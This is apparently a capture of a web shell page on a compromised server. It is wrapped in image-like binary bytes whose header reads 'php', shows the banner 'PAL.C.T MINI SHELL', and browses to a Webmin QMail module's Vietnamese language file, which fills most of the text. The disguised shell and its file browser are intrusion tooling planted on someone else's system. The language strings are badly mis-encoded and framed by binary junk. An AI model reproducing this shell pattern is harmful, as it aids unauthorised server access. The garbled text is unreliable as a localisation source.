‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/qmailadmin/lang/
upload
files >> //usr/libexec/webmin/qmailadmin/lang/vi.auto

index_title=Máy chủ thư điện tử
index_edir=Thư mục cơ sở QMail $1 không tồn tại. Có thể QMail chưa được cài đặt hoặc <a href='$2'>cấu hình mô-đun</a> của bạn không chính xác.
index_edir2=Thư mục $1 dưá»ng như không phải là thư mục cÆ¡ sở QMail. Có thể QMail chưa được cài đặt hoặc <a href='$2'>cấu hình mô-Ä‘un</a> cá»§a bạn không chính xác.
index_return=Cấu hình QMail
index_stop=Dừng quy trình QMail
index_stopmsg=Nhấp vào nút này để dừng các quá trình QMail ná»n chịu trách nhiệm gá»­i thư xếp hàng. Nếu không có các quy trình này, thư sẽ không được gá»­i Ä‘i hoặc gá»­i đến hệ thống cá»§a bạn đúng cách.
index_start=Bắt đầu quy trình QMail
index_startmsg=Nhấp vào nút này để bắt đầu các quy trình QMail ná»n chịu trách nhiệm gá»­i thư xếp hàng. Nếu không có các quy trình này, thư sẽ không được gá»­i Ä‘i hoặc gá»­i đến hệ thống cá»§a bạn đúng cách.

opts_title=Tùy chá»n QMail
opts_me=Tên máy chủ địa phương
opts_helo=Tên máy chủ lưu trữ cho SMTP
opts_toconnect=Hết thá»i gian kết nối SMTP
opts_secs=giây
opts_toremote=Hết thá»i gian chá» phản hồi gá»­i Ä‘i cá»§a SMTP
opts_bytes=Kích thước tin nhắn tối đa
opts_unlimited=Vô hạn
opts_timeout=Hết thá»i gian chá» dữ liệu SMTP
opts_localip=Tên máy chủ cho email đến địa chỉ IP cục bộ
opts_greet=Tin nhắn chúc mừng SMTP
opts_err=Không thể lưu tùy chá»n QMail
opts_eme=Tên máy chủ cục bộ không hợp lệ
opts_etoconnect=Hết thá»i gian chá» kết nối SMTP không hợp lệ
opts_etoremote=Hết thá»i gian chá» phản hồi gá»­i Ä‘i không hợp lệ cá»§a SMTP
opts_ebytes=Kích thước thư tối đa không hợp lệ
opts_etimeout=Hết thá»i gian chá» dữ liệu SMTP không hợp lệ
opts_elocalip=Tên máy chủ địa chỉ IP cục bộ không hợp lệ

aliases_title=Bí danh thư
aliases_addr=Äịa chỉ
aliases_to=Bí danh để ..
aliases_type1=Äịa chỉ 1
aliases_type2=Thư mục thư $1 
aliases_type3=Tệp thư $1 
aliases_type4=Chương trình $1 
aliases_type5=Tệp tự động $1 
aliases_type6=Ãp dụng tệp lá»c $1 
aliases_none=không ai
aliases_return=danh sách bí danh
aliases_toomany=Có quá nhiá»u bí danh thư trên hệ thống cá»§a bạn để hiển thị trên trang này.
aliases_go=Tìm bí danh phù hợp:
aliases_delete=Xóa các bí danh đã chá»n

aform_type0=không ai
aform_type1=ÄiÌ£a chỉ email
aform_type2=Thư mục thư
aform_type3=Tập tin thư
aform_type4=Thức ăn cho chương trình
aform_type5=Tá»± động trả lá»i từ tập tin
aform_type6=Ãp dụng tập tin bá»™ lá»c
aform_edit=Chỉnh sửa bí danh
aform_create=Tạo bí danh
aform_name=Äịa chỉ
aform_val=Bí danh để
aform_afile=Biên tập ..
aform_novirt=&lt;Tất cả tên miá»n&gt;
aform_return=bí danh

asave_err=Không thể lưu bí danh
asave_eaddr='$1' không phải là địa chỉ hợp lệ
asave_ealready=Một bí danh cho '$1' đã tồn tại
asave_etype1='$1' không phải là địa chỉ email hợp lệ
asave_etype2='$1' không phải là thư mục thư hợp lệ
asave_etype3='$1' không phải là tên tệp thư hợp lệ
asave_etype4='$1' không phải là chương trình hợp lệ hoặc không tồn tại
asave_etype5=Tệp tự động '$1' không hợp lệ
asave_etype4none=Không có chương trình nào
asave_etype6=Tệp bá»™ lá»c '$1' không hợp lệ

adelete_err=Không thể xóa bí danh
adelete_enone=Không được chá»n

locals_title=Tên miá»n địa phương
locals_domains=Tên miá»n cục bá»™ cho máy chá»§ này
locals_desc=Qmail sẽ chấp nhận gá»­i email cho ngưá»i dùng địa phương gá»­i email đến các tên miá»n và tên máy chá»§ được liệt kê trong há»™p văn bản ở bên trái. Nếu bạn muốn máy chá»§ thư cá»§a bạn xá»­ lý nhiá»u tên miá»n email, tất cả chúng phải được liệt kê trong biểu mẫu này.
locals_only=Chỉ tên máy chủ cục bộ $1 
locals_sel=Tên miá»n được liệt kê dưới đây ..

rcpts_title=Tên miá»n được chấp nhận
rcpts_domains=Các miá»n địa phương và chuyển tiếp được chấp nhận
rcpts_all=Bất kỳ miá»n nào
rcpts_sel=Tên miá»n được liệt kê dưới đây ..
rcpts_desc=Qmail sẽ chấp nhận chuyển tiếp hoặc chuyển phát cục bá»™ chỉ gá»­i thư đến tên miá»n và tên máy chá»§ được liệt kê trong há»™p văn bản ở bên trái. Bạn cÅ©ng có thể nhập các ký tá»± đại diện khá»›p vá»›i tất cả các máy chá»§ lưu trữ trong má»™t tên miá»n như <tt>.foo.com</tt>. Nếu bạn muốn máy chá»§ thư cá»§a bạn chuyển tiếp email cho khách hàng, bạn phải chấp nhận thư từ bất kỳ tên miá»n nào.
rcpts_domains2=Bổ sung tên miá»n địa phương và chuyển tiếp
rcpts_desc2=Nếu bạn có má»™t số lượng lá»›n các tên miá»n được chấp nhận, những tên miá»n ít được sá»­ dụng hÆ¡n nên được nhập vào há»™p văn bản này. Nói chung, 50 tên miá»n được phép đầu tiên cá»§a bạn nên được nhập vào há»™p văn bản phía trên và phần còn lại vào tên miá»n này.

bads_title=Äịa chỉ bị từ chối
bads_addresses=Äịa chỉ email bị từ chối
bads_desc=QMail sẽ từ chối thư để gá»­i hoặc chuyển tiếp từ bất kỳ địa chỉ nào được liệt kê trong há»™p văn bản ở bên trái, phải được nhập dưới dạng <tt>tên ngưá»i dùng @ tên miá»n</tt>. Nếu bạn muốn từ chối thư từ toàn bá»™ tên miá»n, thư này phải được nhập dưới dạng <tt>@domainname</tt>.

routes_title=Äịnh tuyến tên miá»n
routes_toomany=Có quá nhiá»u tuyến tên miá»n trên hệ thống cá»§a bạn để hiển thị trên trang này.
routes_go=Tìm các tuyến miá»n phù hợp:
routes_from=Mail cho tên miá»n
routes_to=Gửi qua máy chủ
routes_direct=Giao hàng trực tiếp
routes_defroute=Gửi tất cả thư đi khác qua:
routes_return=tuyến đưá»ng tên miá»n
routes_delete=Xóa các tuyến miá»n được chá»n

rform_edit=Chỉnh sá»­a tên miá»n
rform_create=Tạo lá»™ trình tên miá»n
rform_from=Mail cho máy chá»§ hoặc tên miá»n
rform_to=Gửi qua máy chủ SMTP
rform_port=Cổng SMTP

rsave_err=Không thể lưu tuyến tên miá»n
rsave_efrom='$1' không phải là má»™t tên miá»n hợp lệ
rsave_eto='$1' không phải là máy chủ SMTP hợp lệ
rsave_eport='$1' không phải là số cổng hợp lệ

rdelete_err=Không thể xóa các tuyến miá»n

percents_title=% Tên miá»n địa chỉ
percents_domains=Tên miá»n há»— trợ % địa chỉ
percents_desc=QMail sẽ chấp nhận email có địa chỉ ở định dạng <tt>user%firstdomain@seconddomain</tt> nếu <tt>seconddomain</tt> được liệt kê trong hộp văn bản bên trái. Các thư ở định dạng này sau đó sẽ được chuyển tiếp tới <tt>user@firstdomain</tt> bởi máy chủ thư này.

virts_title=Ãnh xạ ảo
virts_toomany=Có quá nhiá»u ánh xạ ảo trên hệ thống cá»§a bạn để hiển thị trên trang này.
virts_go=Tìm ánh xạ ảo phù hợp:
virts_from=Gửi thư cho
virts_prepend=Chuẩn bị tiá»n tố
virts_all=Tất cả địa chỉ
virts_none=Không ảo
virts_desc=Ãnh xạ ảo được QMail sá»­ dụng để xá»­ lý email đến các tên miá»n khác nhau trên máy chá»§ cá»§a bạn, bằng cách thêm văn bản vào phần ngưá»i dùng cá»§a địa chỉ email trước khi xá»­ lý thêm. Bạn có thể sá»­ dụng chúng để thiết lập tên miá»n thư ảo bằng cách tạo ánh xạ ảo má»›i cho tên miá»n, sau đó sá»­ dụng trang <a href='$1'>Bí danh thư</a> để tạo bí danh trong tên miá»n đó.
virts_return=ánh xạ ảo
virts_delete=Xóa các ánh xạ ảo đã chá»n

vform_edit=Chỉnh sửa bản đồ ảo
vform_create=Tạo bản đồ ảo
vform_from=Mail cho địa chỉ
vform_all=Bất kỳ địa chỉ không phù hợp với ánh xạ ảo khác
vform_domain=Äịa chỉ vá»›i tên miá»n
vform_user=Äịa chỉ
vform_to=Chuẩn bị tên ngưá»i dùng
vform_none=Không có gì
vform_prepend=Tiá»n tố được chỉ định
vform_auto=Tá»± động chá»n tiá»n tố

vsave_err=Không thể lưu bản đồ ảo
vsave_edomain='$1' không phải là miá»n email hợp lệ
vsave_euser='$1' không phải là tên ngưá»i dùng email hợp lệ
vsave_eprepend='$1' không phải là tiá»n tố ánh xạ hợp lệ
vsave_eboth=Bạn không thể chá»n cả 'Bất kỳ địa chỉ nào không khá»›p vá»›i ánh xạ ảo khác' và 'Không có gì'

vdelete_err=Không thể xóa ánh xạ ảo

stop_err=quá trình gửi thư không còn chạy

log_stop=Äã dừng quá trình QMail
log_start=Bắt đầu các quy trình QMail
log_opts=Tùy chá»n QMail đã thay đổi
log_alias_create=Äã tạo bí danh $1 
log_alias_delete=Xóa bí danh $1 
log_alias_modify=Bí danh đã sửa đổi $1 
log_delete_aliases=Äã xóa $1 bí danh
log_virt_create=Tạo ánh xạ ảo $1 
log_virt_delete=Äã xóa ánh xạ ảo $1 
log_virt_modify=Ãnh xạ ảo đã sá»­a đổi $1 
log_delete_virts=Äã xóa $1 ánh xạ ảo
log_virtall_create=Tạo ánh xạ ảo
log_virtall_delete=Äã xóa ánh xạ ảo
log_virtall_modify=Sửa đổi ánh xạ ảo
log_locals=Thay đổi tên miá»n địa phương
log_rcpts=Thay đổi tên miá»n được chấp nhận
log_bads=Thay đổi địa chỉ bị từ chối
log_percents=Äã thay đổi % tên miá»n địa chỉ
log_route_create=Äã tạo tuyến đưá»ng cho $1 
log_route_delete=Äã xóa tuyến đưá»ng cho $1 
log_route_modifed=Tuyến đưá»ng đã sá»­a đổi cho $1 
log_delete_routes=Äã xóa $1 tuyến
log_defroute=Tuyến đưá»ng mặc định đã sá»­a đổi
log_assign_create=Äã tạo ngưá»i dùng thư $1 
log_assign_delete=Äã xóa thư ngưá»i dùng $1 
log_assign_modifed=Ngưá»i dùng thư đã sá»­a đổi $1 
log_delete_assigns=Äã xóa $1 ngưá»i dùng thư
log_delmail=Äã xóa $1 tin nhắn từ $2 
log_movemail=Äã chuyển $1 tin nhắn từ $2 sang $3 
log_send=Äã gá»­i thư đến $1 

rfile_title=Chỉnh sửa tập tin tự động
rfile_desc=Sá»­ dụng vùng văn bản bên dưới để chỉnh sá»­a thông báo tá»± động trong $1. Thông báo có thể chứa các macro $ SUB Dá»° ÃN, $ TỪ, $ ÄẾN, $ NGÀY và $ CÆ  THỂ sẽ được mở rá»™ng khi tính năng tá»± động được kích hoạt.
rfile_desc2=Bạn cÅ©ng có thể đặt các tiêu đỠthư thêm hoặc thay thế các mặc định được sá»­ dụng trong tá»± động trả lá»i bằng cách đặt các dòng như: <br><tt> Từ: foo@bar.com </tt><br> <tt>Chá»§ Ä‘á»: Vào kỳ nghỉ</tt> <br> ở đầu tin nhắn, được phân tách khá»i phần thân bằng má»™t dòng trống duy nhất.
rfile_efile=Bạn không được phép chỉnh sửa $1.
rfile_undo=Hoàn tác thay đổi
rfile_replies=Theo dõi trả lá»i để ngăn chặn vòng lặp thư?
rfile_none=Không
rfile_file=Có, sử dụng tệp nhật ký
rfile_period=Khoảng thá»i gian tối thiểu giữa các câu trả lá»i
rfile_default=Mặc định (1 giá»)
rfile_secs=giây
rfile_ereplies=Thiếu tệp nhật ký theo dõi trả lá»i
rfile_eperiod=Số giây bị thiếu hoặc không hợp lệ giữa các lần trả lá»i
rfile_no_autoreply=Äừng gá»­i tá»± động đến
rfile_from=Từ: địa chỉ để trả lá»i
rfile_auto=Tá»± động (dá»±a trên địa chỉ ngưá»i nhận)
rfile_efrom=Thiếu từ: địa chỉ
rfile_fromdesc=Äịa chỉ From: phải luôn được chỉ định khi có thể, vì phương thức tá»± động có thể không đáng tin cậy.

ffile_title=Chỉnh sá»­a tập tin bá»™ lá»c
ffile_desc=Sá»­ dụng mẫu dưới đây để thiết lập quy tắc lá»c trong tệp $1.
ffile_efile=Bạn không được phép chỉnh sửa $1.
ffile_line=Nếu trưá»ng $1 $2 $3 thì chuyển tiếp sang $4 
ffile_from=từ
ffile_to=đến
ffile_subject=môn há»c
ffile_cc=CC
ffile_body=thân hình
ffile_what0=không phù hợp
ffile_what1=diêm
ffile_other=Nếu không thì chuyển tiếp tới $1 
ffile_err=Không thể lưu tệp bá»™ lá»c
ffile_ematch=Trận đấu mất tích
ffile_eaction=Thiếu địa chỉ chuyển tiếp

queue_title=Hàng đợi thư
queue_count=$1 tin nhắn
queue_none=Không có thư hiện đang được xếp hàng để gửi
queue_id=Tài khoản mail
queue_date=Gởi
queue_from=Từ
queue_to=Äến
queue_cc=Cc
queue_subject=Môn há»c
queue_return=xếp hàng thư
queue_delete=Xóa tin nhắn đã chá»n
queue_all=Chá»n tất cả
queue_invert=Lá»±a chá»n đối nghịch
queue_refresh=Làm mới hàng đợi thư
queue_refreshdesc=Tải lại trang này để hiển thị trạng thái hiện tại của hàng đợi thư.

qview_title=Tin nhắn xếp hàng
qview_desc=Từ tệp $1 
qview_headers=Tiêu đỠthư
qview_attach=Tài liệu đính kèm

assigns_title=Bài tập ngưá»i dùng thư
assigns_return=bài tập ngưá»i dùng thư
assigns_toomany=Có quá nhiá»u ngưá»i dùng thư trên hệ thống cá»§a bạn để hiển thị trên trang này.
assigns_go=Tìm thư ngưá»i dùng phù hợp:
assigns_address=Gửi thư đến địa chỉ
assigns_user=Ngưá»i dùng Unix
assigns_uid=UID
assigns_gid=GID
assigns_home=Thư mục nhà
assigns_desc=Bài tập ngưá»i dùng thư cho phép bạn tạo há»™p thư cho ngưá»i dùng không được xác định trong danh sách ngưá»i dùng Unix. Má»—i nhiệm vụ sẽ gá»­i thư cho má»™t tên ngưá»i dùng hoặc mẫu tên ngưá»i dùng đã chá»n, như thể nó được gá»­i đến há»™p thư ngưá»i dùng Unix thá»±c sá»±.
assigns_delete=Xóa ngưá»i dùng thư đã chá»n

sform_edit=Chỉnh sá»­a ngưá»i dùng thư
sform_create=Tạo ngưá»i dùng thư
sform_address=Äịa chỉ tên ngưá»i dùng
sform_mode0=Tên ngưá»i dùng chính xác
sform_mode1=Tên ngưá»i dùng bắt đầu bằng
sform_user=Ngưá»i dùng Unix
sform_uid=UID
sform_gid=GID
sform_home=Thư mục nhà

ssave_err=Không thể lưu ngưá»i dùng thư
ssave_eaddress=Tên ngưá»i dùng địa chỉ bị thiếu hoặc không hợp lệ
ssave_euser=Ngưá»i dùng Unix bị thiếu hoặc không hợp lệ
ssave_euid=UID bị thiếu hoặc không hợp lệ
ssave_egid=GID bị thiếu hoặc không hợp lệ
ssave_ehome=Thư mục nhà bị thiếu hoặc không hợp lệ

sdelete_err=Không thể xóa ngưá»i dùng thư

delete_egone=Tin nhắn xếp hàng không còn tồn tại
delete_ebogus=Tên tệp hàng đợi không hợp lệ

boxes_title=Há»™p thư ngưá»i dùng
boxes_user=Ngưá»i sá»­ dụng
boxes_size=Kích thước hộp thư
boxes_none=Không có thư
boxes_return=hộp thư
boxes_sent=Gá»­i mail
boxes_ecannot=Bạn không được phép Ä‘á»c email
boxes_toomany=Có quá nhiá»u ngưá»i dùng trên hệ thống cá»§a bạn để liệt kê tất cả các há»™p thư cá»§a há».
boxes_go=Xem thư cho ngưá»i dùng:

mail_title=Email ngưá»i dùng
mail_from=Từ
mail_date=Ngày
mail_subject=Môn há»c
mail_to=Äến
mail_cc=Cc
mail_bcc=Bcc
mail_pri=Sự ưu tiên
mail_highest=Cao nhất
mail_high=Cao
mail_normal=Bình thưá»ng
mail_low=Thấp
mail_lowest=Thấp nhất
mail_for=Trong 1
mail_for2=Dành cho ngưá»i dùng $1 
mail_sent=Trong danh sách thư đã gửi
mail_size=Kích thước
mail_delete=Xóa bá»
mail_compose=Soạn, biên soạn
mail_return=há»™p thư ngưá»i dùng
mail_pos=Tin nhắn $1 đến $2 của $3 
mail_none=Hộp thư này không có tin nhắn
mail_ecannot=Bạn không được phép Ä‘á»c email cá»§a ngưá»i dùng này
mail_all=Chá»n tất cả
mail_invert=Lá»±a chá»n đối nghịch
mail_search=Tìm tin nhắn ở đâu
mail_body=Thân hình
mail_match=diêm
mail_ok=Tìm kiếm
mail_nonefrom=không ai
mail_mark=Äánh dấu là:
mail_mark0=Chưa Ä‘á»c
mail_mark1=Äá»c
mail_mark2=Äặc biệt
mail_forward=Ở đằng trước
mail_rfc=Từ dòng
mail_move=Chuyển tới:
mail_eexists=Tin nhắn không còn tồn tại!

view_title=Äá»c mail
view_desc=Tin nhắn $1 trong $2 
view_desc2=Tin nhắn $1 cho ngưá»i dùng $2 
view_desc3=Tin nhắn $1 
view_sent=Tin nhắn $1 trong danh sách thư đã gửi
view_qdesc=Tin nhắn xếp hàng $1 
view_headers=Tiêu đỠthư
view_allheaders=Xem tất cả các tiêu Ä‘á»
view_noheaders=Xem các tiêu đỠcơ bản
view_attach=Tài liệu đính kèm
view_reply=Äáp lại
view_reply2=Trả lá»i tất cả
view_enew=Chỉnh sửa như mới
view_forward=Ở đằng trước
view_delete=Xóa bá»
view_strip=Xóa tệp đính kèm
view_ecannot=Bạn không được phép Ä‘á»c email cá»§a ngưá»i dùng này
view_mark=Äánh dấu tin nhắn là:
view_mark0=Chưa Ä‘á»c
view_mark1=Äá»c
view_mark2=Äặc biệt
view_return=email gốc
view_sub=Email đính kèm

compose_title=Soạn email
reply_title=Trả lá»i email
forward_title=Chuyển tiếp email
enew_title=Chỉnh sửa email
reply_headers=Tiêu đỠthư
reply_attach=Tập tin đính kèm chuyển tiếp
reply_mailforward=Tin nhắn chuyển tiếp
reply_attach2=Tệp đính kèm phía máy khách và máy chủ
reply_send=Gửi thư
reply_ecannot=Bạn không được phép gá»­i thư như ngưá»i dùng này

send_err=Không thể gửi thư
send_eto=Thiếu địa chỉ
send_efrom=Thiếu từ địa chỉ
send_title=Thư đã gửi
send_ok=Thư được gửi thành công tới $1 
send_ecannot=Bạn không được phép gá»­i thư như ngưá»i dùng này
send_esmtp=Lệnh SMTP $1 không thành công : $2 
send_efile=Tệp đính kèm $1 không tồn tại
send_eattach=Tệp đính kèm không thể có tổng kích thước $1 kB.
send_eperms=Ngưá»i dùng $1 không thể Ä‘á»c $2 
send_eperms2=Bạn không được phép gửi tệp $1 
send_epath=Sendmail thực thi $1 không tồn tại.

delete_title=Xóa thư
delete_rusure=Bạn có chắc chắn muốn xóa $1 tin nhắn đã chá»n khá»i $2 không? Äiá»u này có thể mất má»™t thá»i gian cho má»™t tập tin thư lá»›n. Cho đến khi xóa xong, không nên thá»±c hiện hành động nào khác.
delete_rusure2=Bạn có chắc chắn muốn xóa tin nhắn này từ $1 không? Äiá»u này có thể mất má»™t thá»i gian cho má»™t tập tin thư lá»›n. Cho đến khi xóa xong, không nên thá»±c hiện hành động nào khác.
delete_ok=Xóa ngay bây giá»
delete_ecannot=Bây giá» bạn được phép xóa thư từ ngưá»i dùng này
delete_enone=Không có thư nào được chá»n để xóa
delete_emnone=Không có thư được chá»n để đánh dấu
delete_nobutton=Không có nút bấm

search_title=kết quả tìm kiếm
search_ecannot=Bạn không được phép tìm kiếm email cá»§a ngưá»i dùng này
search_ematch=Bạn phải nhập văn bản để phù hợp với.
search_efield=Bạn phải chá»n má»™t loại tìm kiếm.
search_none=Không tìm thấy thư nào.
search_results2=$1 thư phù hợp với $2 ..
search_results3=$1 thư không khớp với $2 ..

match_from=Từ: trận đấu
match_subject=Chá»§ Ä‘á»: trận đấu
match_to=Tới: trận đấu
match_cc=Cc: trận đấu
match_date=Ngày: trận đấu
match_body=Trận đấu cơ thể
match_size=Kích thước lớn hơn
match_headers=Tiêu đỠphù hợp
match_=-----------------
match_!from=Từ: không khớp
match_!subject=Chá»§ Ä‘á»: không khá»›p
match_!to=To: không khớp
match_!cc=Cc: không khớp
match_!date=Ngày: không khớp
match_!body=Cơ thể không phù hợp
match_!size=Kích thước nhỠhơn
match_!headers=Tiêu đỠkhông khớp

delq_titles=Xóa tin nhắn
delq_rusure=Bạn có chắc chắn muốn xóa $1 tin nhắn được xếp hàng đã chá»n không?
delq_confirm=Xóa tin nhắn
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚